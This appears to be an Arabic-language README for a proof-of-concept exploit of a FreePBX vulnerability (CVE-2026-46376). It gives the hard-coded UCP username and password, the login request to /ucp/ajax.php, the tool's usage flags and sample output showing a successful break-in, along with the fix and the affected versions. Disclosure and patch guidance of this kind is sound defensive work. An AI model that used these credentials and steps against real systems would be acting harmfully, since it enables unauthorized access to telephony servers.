
CVE-2026-46376 - FreePBX وصول غير مصدق إلى UCP عبر بيانات اعتماد مثبتة بشكل ثابت
ثغرة أمنية خطيرة في وحدة إدارة المستخدمين (userman) في FreePBX تسمح للمهاجمين غير المصادق عليهم بالوصول إلى لوحة تحكم المستخدم (UCP) باستخدام بيانات اعتماد ثابتة يتم تضمينها أثناء عملية إعداد القالب العام لـ UCP.
CVSS v4.0: 9.1 (حرجة) | CWE-798: استخدام بيانات اعتماد ثابتة
تاريخ الإفصاح: 15 مايو 2026 | المبلغ: s0nnyWT
عندما يستخدم المسؤول ميزة إعداد القالب العام الاختياري لـ UCP (التي تم تقديمها في 2021)، يتم إنشاء مستخدم نظام FreePBXUCPTemplateCreator بكلمة مرور ثابتة ومجمدة في الشيفرة. إذا لم يغير المسؤول كلمة المرور هذه بعد الإعداد، يمكن لأي مستخدم غير مصادق عليه على الشبكة تسجيل الدخول إلى UCP باستخدام هذه البيانات.
| الحقل | القيمة |
|---|---|
| اسم المستخدم | FreePBXUCPTemplateCreator |
| كلمة المرور | 1a2b3c@fd48jshs03123ld |
| المصدر | Userman.class.php — يتم تمرير كلمة المرور عبر md5() |
| ناقل الهجوم | الشبكة |
| التعقيد | منخفض |
| مطلوب مصادقة | لا |
| تفاعل المستخدم | لا |
| الشرط المسبق | يجب أن يكون المسؤول قد قام بتشغيل إعداد القالب العام لـ UCP |
ملاحظة: يتم إنشاء مستخدم
FreePBXUCPTemplateCreatorفقط إذا قام المسؤول بتشغيل ميزة إعداد القالب العام لـ UCP صراحةً. الأنظمة التي لم يتم فيها هذا الإعداد ليست قابلة للاستغلال عبر هذا CVE، حتى إذا كانت تعمل بإصدار متأثر.
يقوم الإصلاح بإنشاء كلمة مرور عشوائية باستخدام bin2hex(random_bytes(24)) أثناء التثبيت/الترقية، ويتم إعادة إنشاء كلمة مرور منشئي القوالب الحاليين عند الترقية.
pip3 install requests
python3 poc.py <target_url>
الوسائط الموضعية:
target URL الهدف (مثال: http://192.168.1.100)
الوسائط الاختيارية:
-h, --help عرض رسالة المساعدة هذه والخروج
--no-check تخطي الفحص المسبق للإصدار
--timeout TIMEOUT مهلة الطلب بالثواني (الافتراضي: 15)
--method {creds,unlock,admin,all}
طريقة الاستغلال التي سيتم تشغيلها (الافتراضي: all)
-y, --yes المتابعة تلقائيًا حتى إذا كان الإصدار خارج النطاق
POST /ucp/ajax.php مع module=User&command=login باستخدام بيانات الاعتماد الثابتة?unlockkey=&templateid=$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
للتحقق مما إذا كان النظام قابلاً للاستغلال، يرسل PoC طلب تسجيل دخول إلى POST /ucp/ajax.php مع module=User&command=login وبيانات الاعتماد. يشير الرد {"status":true} إلى أن مستخدم منشئ القالب موجود وأن كلمة المرور لا تزال افتراضية.
الرد {"status":false,"message":"Invalid Login Credentials"} يعني إما:
userman إلى 16.0.45 (FreePBX 16) أو 17.0.7 (FreePBX 17)يتم تقديم هذا PoC لأغراض تعليمية واختبار أمني مصرح به فقط. الاستخدام غير المصرح به لهذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. المؤلفون غير مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة.
| المنصة | وحدة userman | المتأثر | المصحح |
|---|
| FreePBX 15 | — | 15.0.42+ | لا ينطبق |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |